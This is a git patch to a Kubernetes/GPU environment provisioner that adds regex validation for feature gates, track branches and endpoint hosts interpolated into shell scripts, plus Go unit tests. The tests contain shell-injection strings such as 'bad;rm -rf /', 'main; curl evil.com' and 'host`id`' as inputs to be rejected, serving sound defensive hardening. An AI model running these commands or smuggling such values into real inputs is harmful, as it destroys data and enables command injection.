From 33013f9fa48235d24ddad7fc4fe3ef905c903876 Mon Sep 17 00:00:00 2001 From: Carlos Eduardo Arango Gutierrez Date: Thu, 12 Feb 2026 20:44:00 +0100 Subject: [PATCH] fix(templates): validate feature gates, track branches, and endpoint host These fields are interpolated into shell scripts but were not covered by ValidateTemplateInputs(). Add featureGatePattern for K8sFeatureGates, reuse gitRefPattern for Latest.Track branches (K8s + CTK), and add hostnamePattern for K8sEndpointHost. Audit findings #16 (MEDIUM), #32 (LOW), #33 (LOW). Signed-off-by: Carlos Eduardo Arango Gutierrez --- pkg/provisioner/templates/validate.go | 32 ++++++ pkg/provisioner/templates/validate_test.go | 117 +++++++++++++++++++++ 2 files changed, 149 insertions(+) diff --git a/pkg/provisioner/templates/validate.go b/pkg/provisioner/templates/validate.go index aaccf4af5..eb78f3f5d 100644 --- a/pkg/provisioner/templates/validate.go +++ b/pkg/provisioner/templates/validate.go @@ -38,6 +38,12 @@ var ( // gitRefPattern matches safe git references (branches, tags, SHAs, PR refs). // Allows "/" for refs like "refs/tags/v1.31.0" or "refs/pull/123/head". gitRefPattern = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9.\-+~/]*$`) + + // featureGatePattern matches valid Kubernetes feature gates like "FeatureName=true". + featureGatePattern = regexp.MustCompile(`^[A-Za-z][A-Za-z0-9]*=(true|false)$`) + + // hostnamePattern matches safe hostnames and IP addresses. + hostnamePattern = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9.\-:]*$`) ) // ValidateTemplateInputs validates user-supplied fields that will be interpolated @@ -114,6 +120,32 @@ func ValidateTemplateInputs(env v1alpha1.Environment) error { } } + // Validate track branches (same rules as git refs) + if env.Spec.Kubernetes.Latest != nil && env.Spec.Kubernetes.Latest.Track != "" { + if !gitRefPattern.MatchString(env.Spec.Kubernetes.Latest.Track) { + return fmt.Errorf("invalid kubernetes latest track branch: %q contains disallowed characters", env.Spec.Kubernetes.Latest.Track) + } + } + if env.Spec.NVIDIAContainerToolkit.Latest != nil && env.Spec.NVIDIAContainerToolkit.Latest.Track != "" { + if !gitRefPattern.MatchString(env.Spec.NVIDIAContainerToolkit.Latest.Track) { + return fmt.Errorf("invalid nvidia container toolkit latest track branch: %q contains disallowed characters", env.Spec.NVIDIAContainerToolkit.Latest.Track) + } + } + + // Validate feature gates + for _, gate := range env.Spec.Kubernetes.K8sFeatureGates { + if !featureGatePattern.MatchString(gate) { + return fmt.Errorf("invalid kubernetes feature gate: %q must match FeatureName=true|false", gate) + } + } + + // Validate endpoint host + if env.Spec.Kubernetes.K8sEndpointHost != "" { + if !hostnamePattern.MatchString(env.Spec.Kubernetes.K8sEndpointHost) { + return fmt.Errorf("invalid kubernetes endpoint host: %q contains disallowed characters", env.Spec.Kubernetes.K8sEndpointHost) + } + } + // Validate file paths filePaths := map[string]string{ "private key path": env.Spec.PrivateKey, diff --git a/pkg/provisioner/templates/validate_test.go b/pkg/provisioner/templates/validate_test.go index f4b70aa6a..8d1681a57 100644 --- a/pkg/provisioner/templates/validate_test.go +++ b/pkg/provisioner/templates/validate_test.go @@ -128,3 +128,120 @@ func TestValidateTemplateInputs_Injection(t *testing.T) { t.Error("expected error for injection attempt, got nil") } } + +func TestFeatureGatePattern(t *testing.T) { + accept := []string{"FeatureName=true", "MyGate=false", "A=true"} + reject := []string{ + "bad;rm -rf /", + "NoValue", + "=true", + "Feature=maybe", + "Feature=true; echo pwned", + "$(curl evil)=true", + } + + for _, v := range accept { + if !featureGatePattern.MatchString(v) { + t.Errorf("featureGatePattern should accept %q", v) + } + } + for _, v := range reject { + if featureGatePattern.MatchString(v) { + t.Errorf("featureGatePattern should reject %q", v) + } + } +} + +func TestHostnamePattern(t *testing.T) { + accept := []string{"host.example.com", "192.168.1.1", "k8s-api:6443", "my-host"} + reject := []string{ + "host.com; rm -rf /", + "$(curl evil)", + "host && bad", + "host`id`", + "; echo pwned", + } + + for _, v := range accept { + if !hostnamePattern.MatchString(v) { + t.Errorf("hostnamePattern should accept %q", v) + } + } + for _, v := range reject { + if hostnamePattern.MatchString(v) { + t.Errorf("hostnamePattern should reject %q", v) + } + } +} + +func TestValidateTemplateInputs_RejectsShellInFeatureGates(t *testing.T) { + env := v1alpha1.Environment{} + env.Spec.Kubernetes.K8sFeatureGates = []string{"Valid=true", "bad;rm -rf /"} + err := ValidateTemplateInputs(env) + if err == nil { + t.Error("expected error for shell injection in feature gate, got nil") + } +} + +func TestValidateTemplateInputs_RejectsShellInTrackBranch(t *testing.T) { + env := v1alpha1.Environment{} + env.Spec.Kubernetes.Latest = &v1alpha1.K8sLatestSpec{ + Repo: "https://github.com/kubernetes/kubernetes", + Track: "main; curl evil.com", + } + err := ValidateTemplateInputs(env) + if err == nil { + t.Error("expected error for shell injection in track branch, got nil") + } +} + +func TestValidateTemplateInputs_RejectsCTKTrackBranch(t *testing.T) { + env := v1alpha1.Environment{} + env.Spec.NVIDIAContainerToolkit.Latest = &v1alpha1.CTKLatestSpec{ + Repo: "https://github.com/NVIDIA/nvidia-container-toolkit", + Track: "main && curl evil.com", + } + err := ValidateTemplateInputs(env) + if err == nil { + t.Error("expected error for shell injection in CTK track branch, got nil") + } +} + +func TestValidateTemplateInputs_RejectsShellInEndpointHost(t *testing.T) { + env := v1alpha1.Environment{} + env.Spec.Kubernetes.K8sEndpointHost = "host.com; rm -rf /" + err := ValidateTemplateInputs(env) + if err == nil { + t.Error("expected error for shell injection in endpoint host, got nil") + } +} + +func TestValidateTemplateInputs_AcceptsValidFeatureGates(t *testing.T) { + env := v1alpha1.Environment{} + env.Spec.Kubernetes.K8sFeatureGates = []string{"GracefulNodeShutdown=true", "TopologyManager=false"} + err := ValidateTemplateInputs(env) + if err != nil { + t.Errorf("expected no error for valid feature gates, got: %v", err) + } +} + +func TestValidateTemplateInputs_AcceptsValidTrackBranch(t *testing.T) { + env := v1alpha1.Environment{} + env.Spec.Kubernetes.Latest = &v1alpha1.K8sLatestSpec{ + Repo: "https://github.com/kubernetes/kubernetes", + Track: "master", + } + err := ValidateTemplateInputs(env) + if err != nil { + t.Errorf("expected no error for valid track branch, got: %v", err) + } +} + +func TestValidateTemplateInputs_AcceptsValidEndpointHost(t *testing.T) { + env := v1alpha1.Environment{} + env.Spec.Kubernetes.K8sEndpointHost = "k8s-api.example.com" + err := ValidateTemplateInputs(env) + if err != nil { + t.Errorf("expected no error for valid endpoint host, got: %v", err) + } +}